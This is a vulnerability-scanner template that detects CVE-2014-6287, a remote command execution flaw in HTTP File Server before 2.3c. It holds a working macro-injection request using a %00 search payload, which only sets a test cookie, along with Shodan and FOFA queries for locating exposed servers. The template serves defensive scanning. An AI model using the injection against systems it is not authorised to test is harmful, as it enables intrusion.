HTTP File Server <2.3c - Remote Command Execution

id: 'CVE-2014-6287'

info:
  name: HTTP File Server <2.3c - Remote Command Execution
  author: j4vaovo
  severity: critical
  description: |
    HTTP File Server before 2.3c is susceptible to remote command execution. The findMacroMarker function in parserLib.pas allows an attacker to execute arbitrary programs via a %00 sequence in a search action. Therefore, an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to the latest version of HTTP File Server (>=2.3c) to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287
    - http://www.kb.cert.org/vuls/id/251276
    - http://packetstormsecurity.com/files/128243/HttpFileServer-2.3.x-Remote-Command-Execution.html
    - https://github.com/rapid7/metasploit-framework/pull/3793
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-6287
    cwe-id: CWE-94
    epss-score: 0.99323
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:rejetto:http_file_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rejetto
    product: http_file_server
    shodan-query: http.favicon.hash:2124459909
    fofa-query: icon_hash=2124459909
  tags: cve2014,cve,packetstorm,msf,hfs,rce,kev,rejetto,vkev,vuln
variables:
  str1: '{{rand_base(6)}}'
  str2: 'CVE-2014-6287'

http:
  - method: GET
    path:
      - '{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>HFS /</title>'

      - type: word
        part: header
        words:
          - 'Set-Cookie: {{str1}}={{str2}};'
          - 'text/html'
        condition: and

      - type: status
        status:
          - 200
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